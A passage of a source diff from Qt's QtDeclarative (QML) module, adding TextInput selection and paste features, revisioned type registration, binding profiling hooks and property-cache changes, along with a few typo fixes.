+ SelectionMode mouseSelectionMode() const;
+ void setMouseSelectionMode(SelectionMode mode);
+
bool hasAcceptableInput() const;
void drawContents(QPainter *p,const QRect &r);
QVariant inputMethodQuery(Qt::InputMethodQuery property) const;
QRectF boundingRect() const;
+ bool canPaste() const;
Q_SIGNALS:
void textChanged();
@@ -216,6 +229,8 @@ Q_SIGNALS:
void activeFocusOnPressChanged(bool activeFocusOnPress);
void autoScrollChanged(bool autoScroll);
void selectByMouseChanged(bool selectByMouse);
+ Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+ Q_REVISION(1) void canPasteChanged();
protected:
virtual void geometryChanged(const QRectF &newGeometry,
@@ -225,6 +240,7 @@ protected:
void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEvent(QEvent *event);
void keyPressEvent(QKeyEvent* ev);
void inputMethodEvent(QInputMethodEvent *);
bool event(QEvent *e);
@@ -234,6 +250,7 @@ public Q_SLOTS:
void selectAll();
void selectWord();
void select(int start, int end);
+ Q_REVISION(1) void deselect();
#ifndef QT_NO_CLIPBOARD
void cut();
void copy();
@@ -248,6 +265,7 @@ private Q_SLOTS:
void moveCursor();
void cursorPosChanged();
void updateRect(const QRect &r = QRect());
+ void q_canPasteChanged();
private:
Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextInput)
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
index 18e9c81..ab2838b 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
@@ -44,7 +44,7 @@
#include "private/qdeclarativetextinput_p.h"
-#include "private/qdeclarativepainteditem_p_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include <qdeclarative.h>
@@ -66,16 +66,17 @@
QT_BEGIN_NAMESPACE
-class QDeclarativeTextInputPrivate : public QDeclarativePaintedItemPrivate
+class Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
{
Q_DECLARE_PUBLIC(QDeclarativeTextInput)
public:
QDeclarativeTextInputPrivate() : control(new QLineControl(QString())),
color((QRgb)0), style(QDeclarativeText::Normal),
styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),
+ mouseSelectionMode(QDeclarativeTextInput::SelectCharacters),
hscroll(0), oldScroll(0), focused(false), focusOnPress(true),
showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
- autoScroll(true), selectByMouse(false)
+ autoScroll(true), selectByMouse(false), canPaste(false)
{
#ifdef Q_OS_SYMBIAN
if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) {
@@ -103,18 +104,22 @@ public:
void focusChanged(bool hasFocus);
void updateHorizontalScroll();
int calculateTextWidth();
+ bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType);
QLineControl* control;
QFont font;
+ QFont sourceFont;
QColor color;
QColor selectionColor;
QColor selectedTextColor;
QDeclarativeText::TextStyle style;
QColor styleColor;
QDeclarativeTextInput::HAlignment hAlign;
+ QDeclarativeTextInput::SelectionMode mouseSelectionMode;
QPointer<QDeclarativeComponent> cursorComponent;
QPointer<QDeclarativeItem> cursorItem;
+ QPointF pressPos;
int lastSelectionStart;
int lastSelectionEnd;
@@ -130,6 +135,11 @@ public:
bool cursorVisible;
bool autoScroll;
bool selectByMouse;
+ bool canPaste;
+
+ static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {
+ return t->d_func();
+ }
};
QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
index 065a388..a8082f8 100644
--- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
+++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
@@ -557,8 +557,9 @@ QDeclarativeVisualDataModelData::~QDeclarativeVisualDataModelData()
void QDeclarativeVisualDataModelData::ensureProperties()
{
QDeclarativeVisualDataModelPrivate *modelPriv = QDeclarativeVisualDataModelPrivate::get(m_model);
- if (modelPriv->m_metaDataCacheable && !modelPriv->m_metaDataCreated) {
- modelPriv->createMetaData();
+ if (modelPriv->m_metaDataCacheable) {
+ if (!modelPriv->m_metaDataCreated)
+ modelPriv->createMetaData();
if (modelPriv->m_metaDataCreated)
m_meta->setCached(true);
}
@@ -1076,7 +1077,7 @@ QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, const QByteArray
} else {
delete data;
delete ctxt;
- qmlInfo(this, d->m_delegate->errors()) << "Error creating delgate";
+ qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate";
}
}
QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(nobj);
diff --git a/src/declarative/qml/parser/qdeclarativejslexer.cpp b/src/declarative/qml/parser/qdeclarativejslexer.cpp
index af955a4..4dfef45 100644
--- a/src/declarative/qml/parser/qdeclarativejslexer.cpp
+++ b/src/declarative/qml/parser/qdeclarativejslexer.cpp
@@ -619,7 +619,7 @@ int Lexer::lex()
} else {
setDone(Bad);
err = IllegalEscapeSequence;
- errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape squence");
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape sequence");
}
} else if (current == 'x')
state = InHexEscape;
diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h
index 3017385..5da7901 100644
--- a/src/declarative/qml/qdeclarative.h
+++ b/src/declarative/qml/qdeclarative.h
@@ -113,6 +113,7 @@ int qmlRegisterType()
0, 0,
+ 0,
0
};
@@ -148,6 +149,7 @@ int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMin
0, 0,
+ 0,
0
};
@@ -181,12 +183,82 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c
0, 0,
+ 0,
0
};
return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
}
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 1,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ metaObjectRevision
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T, int metaObjectRevision>
+int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 1,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, 0, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ metaObjectRevision
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+
template<typename T, typename E>
int qmlRegisterExtendedType()
{
@@ -214,6 +286,7 @@ int qmlRegisterExtendedType()
QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
+ 0,
0
};
@@ -255,6 +328,7 @@ int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor,
QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
+ 0,
0
};
@@ -309,7 +383,8 @@ int qmlRegisterCustomType(const char *uri, int versionMajor, int versionMinor,
0, 0,
- parser
+ parser,
+ 0
};
return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
index d9dff44..a5bd604 100644
--- a/src/declarative/qml/qdeclarativebinding.cpp
+++ b/src/declarative/qml/qdeclarativebinding.cpp
@@ -46,9 +46,11 @@
#include "qdeclarativecontext.h"
#include "qdeclarativeinfo.h"
#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecompiler_p.h"
#include "private/qdeclarativedata_p.h"
#include "private/qdeclarativestringconverters_p.h"
#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
#include <QVariant>
#include <QtCore/qdebug.h>
@@ -207,6 +209,8 @@ void QDeclarativeAbstractBinding::setEnabled(bool enabled, QDeclarativePropertyP
if (enabled) update(flags);
}
+QDeclarativeBinding::Identifier QDeclarativeBinding::Invalid = -1;
+
void QDeclarativeBindingPrivate::refresh()
{
Q_Q(QDeclarativeBinding);
@@ -232,6 +236,28 @@ QDeclarativeBinding::QDeclarativeBinding(void *data, QDeclarativeRefCount *rc, Q
setNotifyOnValueChanged(true);
}
+QDeclarativeBinding *
+QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt,
+ const QString &url, int lineNumber, QObject *parent)
+{
+ if (id < 0)
+ return 0;
+
+ QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt);
+
+ QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj));
+ QDeclarativeCompiledData *cdata = 0;
+ QDeclarativeTypeData *typeData = 0;
+ if (engine && ctxtdata && !ctxtdata->url.isEmpty()) {
+ typeData = engine->typeLoader.get(ctxtdata->url);
+ cdata = typeData->compiledData();
+ }
+ QDeclarativeBinding *rv = cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0;
+ if (typeData)
+ typeData->release();
+ return rv;
+}
+
QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt,
QObject *parent)
: QDeclarativeExpression(QDeclarativeContextData::get(ctxt), obj, str, *new QDeclarativeBindingPrivate)
@@ -248,6 +274,13 @@ QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDecl
setNotifyOnValueChanged(true);
}
+QDeclarativeBinding::QDeclarativeBinding(const QScriptValue &func, QObject *obj, QDeclarativeContextData *ctxt, QObject *parent)
+: QDeclarativeExpression(ctxt, obj, func, *new QDeclarativeBindingPrivate)
+{
+ setParent(parent);
+ setNotifyOnValueChanged(true);
+}
+
QDeclarativeBinding::~QDeclarativeBinding()
{
}
@@ -266,6 +299,34 @@ QDeclarativeProperty QDeclarativeBinding::property() const
return d->property;
}
+void QDeclarativeBinding::setEvaluateFlags(EvaluateFlags flags)
+{
+ Q_D(QDeclarativeBinding);
+ d->setEvaluateFlags(QDeclarativeQtScriptExpression::EvaluateFlags(static_cast<int>(flags)));
+}
+
+QDeclarativeBinding::EvaluateFlags QDeclarativeBinding::evaluateFlags() const
+{
+ Q_D(const QDeclarativeBinding);
+ return QDeclarativeBinding::EvaluateFlags(static_cast<int>(d->evaluateFlags()));
+}
+
+
+class QDeclarativeBindingProfiler {
+public:
+ QDeclarativeBindingProfiler(QDeclarativeBinding *bind)
+ {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression());
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Binding, bind->sourceFile(), bind->lineNumber());
+ }
+
+ ~QDeclarativeBindingProfiler()
+ {
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
+ }
+};
+
void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags)
{
Q_D(QDeclarativeBinding);
@@ -274,6 +335,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags)
return;
if (!d->updating) {
+ QDeclarativeBindingProfiler prof(this);
d->updating = true;
bool wasDeleted = false;
d->deleted = &wasDeleted;
diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h
index 56a5d77..0260b95 100644
--- a/src/declarative/qml/qdeclarativebinding_p.h
+++ b/src/declarative/qml/qdeclarativebinding_p.h
@@ -147,14 +147,21 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBinding : public QDeclarativeExpr
{
Q_OBJECT
public:
+ enum EvaluateFlag { RequiresThisObject = 0x01 };
+ Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
QDeclarativeBinding(const QString &, QObject *, QDeclarativeContext *, QObject *parent=0);
QDeclarativeBinding(const QString &, QObject *, QDeclarativeContextData *, QObject *parent=0);
QDeclarativeBinding(void *, QDeclarativeRefCount *, QObject *, QDeclarativeContextData *,
const QString &, int, QObject *parent);
+ QDeclarativeBinding(const QScriptValue &, QObject *, QDeclarativeContextData *, QObject *parent=0);
void setTarget(const QDeclarativeProperty &);
QDeclarativeProperty property() const;
+ void setEvaluateFlags(EvaluateFlags flags);
+ EvaluateFlags evaluateFlags() const;
+
bool enabled() const;
// Inherited from QDeclarativeAbstractBinding
@@ -162,6 +169,10 @@ public:
virtual void update(QDeclarativePropertyPrivate::WriteFlags flags);
virtual QString expression() const;
+ typedef int Identifier;
+ static Identifier Invalid;
+ static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0);
+
public Q_SLOTS:
void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); }
@@ -173,6 +184,8 @@ private:
Q_DECLARE_PRIVATE(QDeclarativeBinding)
};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeBinding::EvaluateFlags)
+
QT_END_NAMESPACE
Q_DECLARE_METATYPE(QDeclarativeBinding*)
diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp
index d039c68..28dfea9 100644
--- a/src/declarative/qml/qdeclarativeboundsignal.cpp
+++ b/src/declarative/qml/qdeclarativeboundsignal.cpp
@@ -49,7 +49,9 @@
#include "qdeclarative.h"
#include "qdeclarativecontext.h"
#include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+#include <QtCore/qstringbuilder.h>
#include <QtCore/qdebug.h>
QT_BEGIN_NAMESPACE
@@ -165,6 +167,13 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o)
int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
{
if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) {
+ if (!m_expression)
+ return -1;
+ if (QDeclarativeDebugService::isDebuggingEnabled()) {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) % QLatin1String(": ") % m_expression->expression());
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::HandlingSignal, m_expression->sourceFile(), m_expression->lineNumber());
+ }
m_isEvaluating = true;
if (!m_paramsValid) {
if (!m_signal.parameterTypes().isEmpty())
@@ -180,6 +189,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
}
if (m_params) m_params->clearValues();
m_isEvaluating = false;
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::HandlingSignal);
return -1;
} else {
return QObject::qt_metacall(c, id, a);
@@ -187,13 +197,12 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
}
QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method,
- QObject *parent)
+ QObject *parent)
: QObject(parent), types(0), values(0)
{
MetaObject *mo = new MetaObject(this);
// ### Optimize!
- // ### Ensure only supported types are allowed, otherwise it might crash
QMetaObjectBuilder mob;
mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject);
mob.setClassName("QDeclarativeBoundSignalParameters");
@@ -216,9 +225,15 @@ QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMeta
QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*");
prop.setWritable(false);
} else {
- types[ii] = t;
- QMetaPropertyBuilder prop = mob.addProperty(name, type);
- prop.setWritable(false);
+ if (QDeclarativeMetaType::canCopy(t)) {
+ types[ii] = t;
+ QMetaPropertyBuilder prop = mob.addProperty(name, type);
+ prop.setWritable(false);
+ } else {
+ types[ii] = 0x80000000 | t;
+ QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant");
+ prop.setWritable(false);
+ }
}
}
myMetaObject = mob.toMetaObject();
@@ -249,7 +264,11 @@ int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, voi
return -1;
if (c == QMetaObject::ReadProperty && id >= 1) {
- QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]);
+ if (types[id - 1] & 0x80000000) {
+ *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]);
+ } else {
+ QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]);
+ }
return -1;
} else {
return qt_metacall(c, id, a);
diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp
index 9db24de..a6fcce4 100644
--- a/src/declarative/qml/qdeclarativecompiledbindings.cpp
+++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp
@@ -40,6 +40,7 @@
****************************************************************************/
// #define COMPILEDBINDINGS_DEBUG
+// #define REGISTER_CLEANUP_DEBUG
#include "private/qdeclarativecompiledbindings_p.h"
@@ -54,6 +55,7 @@
#include <private/qdeclarativeanchors_p_p.h>
#include <private/qdeclarativeglobal_p.h>
#include <private/qdeclarativefastproperties_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
QT_BEGIN_NAMESPACE
@@ -170,6 +172,24 @@ struct Register {
int type; // Optional type
void *data[2]; // Object stored here
+
+#ifdef REGISTER_CLEANUP_DEBUG
+ Register() {
+ type = 0;
+ }
+
+ ~Register() {
+ int allowedTypes[] = { QMetaType::QObjectStar, QMetaType::QReal, QMetaType::Int, QMetaType::Bool, 0 };
+ bool found = (type == 0);
+ int *ctype = allowedTypes;
+ while (!found && *ctype) {
+ found = (*ctype == type);
+ ++ctype;
+ }
+ if (!found)
+ qWarning("Register leaked of type %d", type);
+ }
+#endif
};
}
@@ -302,7 +322,9 @@ void QDeclarativeCompiledBindingsPrivate::Binding::setEnabled(bool e, QDeclarati
void QDeclarativeCompiledBindingsPrivate::Binding::update(QDeclarativePropertyPrivate::WriteFlags flags)
{
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
parent->run(this, flags);
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
}
void QDeclarativeCompiledBindingsPrivate::Binding::destroy()
@@ -1409,10 +1431,16 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex,
QML_BEGIN_INSTR(CleanupString)
registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
QML_END_INSTR(CleanupString)
QML_BEGIN_INSTR(CleanupUrl)
registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
QML_END_INSTR(CleanupUrl)
QML_BEGIN_INSTR(Fetch)
@@ -1530,10 +1558,19 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex,
int type = registers[instr->cleanup.reg].gettype();
if (type == qMetaTypeId<QVariant>()) {
registers[instr->cleanup.reg].getvariantptr()->~QVariant();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
} else if (type == QMetaType::QString) {
registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
} else if (type == QMetaType::QUrl) {
registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+ registers[instr->cleanup.reg].setUndefined();
+#endif
}
}
QML_END_INSTR(CleanupGeneric)
@@ -1746,7 +1783,6 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node
done.common.type = Instr::Done;
bytecode << done;
- return true;
} else {
// Can we store the final value?
if (type.type == QVariant::Int &&
@@ -1788,12 +1824,12 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node
Instr done;
done.common.type = Instr::Done;
bytecode << done;
-
- return true;
} else {
return false;
}
}
+
+ return true;
}
bool QDeclarativeBindingCompilerPrivate::parseExpression(QDeclarativeJS::AST::Node *node, Result &type)
@@ -2233,6 +2269,8 @@ bool QDeclarativeBindingCompilerPrivate::stringArith(Result &type, const Result
if (lhsTmp != -1) releaseReg(lhsTmp);
if (rhsTmp != -1) releaseReg(rhsTmp);
+ releaseReg(lhs.reg);
+ releaseReg(rhs.reg);
return true;
}
@@ -2524,6 +2562,10 @@ bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo
rv.metaObject = 0;
rv.type = 0;
+ //XXX binding optimizer doesn't handle properties with a revision
+ if (prop.revision() > 0)
+ return false;
+
int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx);
Instr fetch;
diff --git a/src/declarative/qml/qdeclarativecompileddata.cpp b/src/declarative/qml/qdeclarativecompileddata.cpp
index 70cace4..03deea1 100644
--- a/src/declarative/qml/qdeclarativecompileddata.cpp
+++ b/src/declarative/qml/qdeclarativecompileddata.cpp
@@ -171,6 +171,8 @@ QDeclarativeCompiledData::~QDeclarativeCompiledData()
for (int ii = 0; ii < types.count(); ++ii) {
if (types.at(ii).component)
types.at(ii).component->release();
+ if (types.at(ii).typePropertyCache)
+ types.at(ii).typePropertyCache->release();
}
for (int ii = 0; ii < propertyCaches.count(); ++ii)
@@ -209,6 +211,34 @@ const QMetaObject *QDeclarativeCompiledData::TypeReference::metaObject() const
}
}
+/*!
+Returns the property cache, if one alread exists. The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::propertyCache() const
+{
+ if (type)
+ return typePropertyCache;
+ else
+ return component->rootPropertyCache;
+}
+
+/*!
+Returns the property cache, creating one if it doesn't already exist. The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::createPropertyCache(QDeclarativeEngine *engine)
+{
+ if (typePropertyCache) {
+ return typePropertyCache;
+ } else if (type) {
+ typePropertyCache = QDeclarativeEnginePrivate::get(engine)->cache(type->metaObject());
+ typePropertyCache->addref();
+ return typePropertyCache;
+ } else {
+ return component->rootPropertyCache;
+ }
+}
+
+
void QDeclarativeCompiledData::dumpInstructions()
{
if (!name.isEmpty())
diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
index 5c73f76..f57f842 100644
--- a/src/declarative/qml/qdeclarativecompiler.cpp
+++ b/src/declarative/qml/qdeclarativecompiler.cpp
@@ -589,6 +589,18 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
err = tr( "Element is not creatable.");
COMPILE_EXCEPTION(parserRef->refObjects.first(), err);
}
+
+ if (ref.type->containsRevisionedAttributes()) {
+ QDeclarativeError cacheError;
+ ref.typePropertyCache =
+ QDeclarativeEnginePrivate::get(engine)->cache(ref.type, resolvedTypes.at(ii).minorVersion, cacheError);
+
+ if (!ref.typePropertyCache) {
+ COMPILE_EXCEPTION(parserRef->refObjects.first(), cacheError.description());
+ }
+ ref.typePropertyCache->addref();
+ }
+
} else if (tref.typeData) {
ref.component = tref.typeData->compiledData();
}
@@ -596,7 +608,7 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
out->types << ref;
}
- Object *root = unit->parser().tree();
+ QDeclarativeParser::Object *root = unit->parser().tree();
Q_ASSERT(root);
this->engine = engine;
@@ -625,7 +637,7 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
return !isError();
}
-void QDeclarativeCompiler::compileTree(Object *tree)
+void QDeclarativeCompiler::compileTree(QDeclarativeParser::Object *tree)
{
compileState.root = tree;
componentStat.lineNumber = tree->location.start.line;
@@ -703,14 +715,14 @@ void QDeclarativeCompiler::compileTree(Object *tree)
enginePrivate->registerCompositeType(output);
}
-static bool ValuePtrLessThan(const Value *t1, const Value *t2)
+static bool ValuePtrLessThan(const QDeclarativeParser::Value *t1, const QDeclarativeParser::Value *t2)
{
return t1->location.start.line < t2->location.start.line ||
(t1->location.start.line == t2->location.start.line &&
t1->location.start.column < t2->location.start.column);
}
-bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
+bool QDeclarativeCompiler::buildObject(QDeclarativeParser::Object *obj, const BindingContext &ctxt)
{
componentStat.objects++;
@@ -787,7 +799,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
defaultProperty->values = obj->defaultProperty->values;
defaultProperty->values += explicitProperty->values;
- foreach(Value *value, defaultProperty->values)
+ foreach(QDeclarativeParser::Value *value, defaultProperty->values)
value->addref();
qSort(defaultProperty->values.begin(), defaultProperty->values.end(), ValuePtrLessThan);
@@ -886,8 +898,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
{
- const QDeclarativeCompiledData::TypeReference &tr =
- output->types.at(obj->type);
+ QDeclarativeCompiledData::TypeReference &tr = output->types[obj->type];
if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
genComponent(obj);
return;
@@ -902,6 +913,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
create.line = obj->location.start.line;
create.createSimple.create = output->types.at(obj->type).type->createFunction();
create.createSimple.typeSize = output->types.at(obj->type).type->createSize();
+ create.createSimple.type = obj->type;
create.createSimple.column = obj->location.start.column;
output->bytecode << create;
@@ -935,16 +947,10 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
meta.storeMeta.data = output->indexForByteArray(obj->metadata);
meta.storeMeta.aliasData = output->indexForByteArray(obj->synthdata);
meta.storeMeta.propertyCache = output->propertyCaches.count();
- // ### Surely the creation of this property cache could be more efficient
- QDeclarativePropertyCache *propertyCache = 0;
- if (tr.component)
- propertyCache = tr.component->rootPropertyCache->copy();
- else
- propertyCache = enginePrivate->cache(obj->metaObject()->superClass())->copy();
- propertyCache->append(engine, obj->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
- QDeclarativePropertyCache::Data::IsVMEFunction,
- QDeclarativePropertyCache::Data::IsVMESignal);
+ QDeclarativePropertyCache *propertyCache = obj->synthCache;
+ Q_ASSERT(propertyCache);
+ propertyCache->addref();
// Add flag for alias properties
if (!obj->synthdata.isEmpty()) {
@@ -964,11 +970,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
output->propertyCaches << propertyCache;
output->bytecode << meta;
} else if (obj == unitRoot) {
- if (tr.component)
- output->rootPropertyCache = tr.component->rootPropertyCache;
- else
- output->rootPropertyCache = enginePrivate->cache(obj->metaObject());
-
+ output->rootPropertyCache = tr.createPropertyCache(engine);
output->rootPropertyCache->addref();
}
@@ -1103,15 +1105,7 @@ void QDeclarativeCompiler::genObjectBody(QDeclarativeParser::Object *obj)
meta.line = 0;
meta.storeMeta.data = output->indexForByteArray(prop->value->metadata);
meta.storeMeta.aliasData = output->indexForByteArray(prop->value->synthdata);
- meta.storeMeta.propertyCache = output->propertyCaches.count();
- // ### Surely the creation of this property cache could be more efficient
- QDeclarativePropertyCache *propertyCache =
- enginePrivate->cache(prop->value->metaObject()->superClass())->copy();
- propertyCache->append(engine, prop->value->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
- QDeclarativePropertyCache::Data::IsVMEFunction,
- QDeclarativePropertyCache::Data::IsVMESignal);
-
- output->propertyCaches << propertyCache;
+ meta.storeMeta.propertyCache = -1;
output->bytecode << meta;
}
@@ -1268,7 +1262,7 @@ bool QDeclarativeCompiler::buildComponent(QDeclarativeParser::Object *obj,
if (!obj->dynamicSlots.isEmpty())
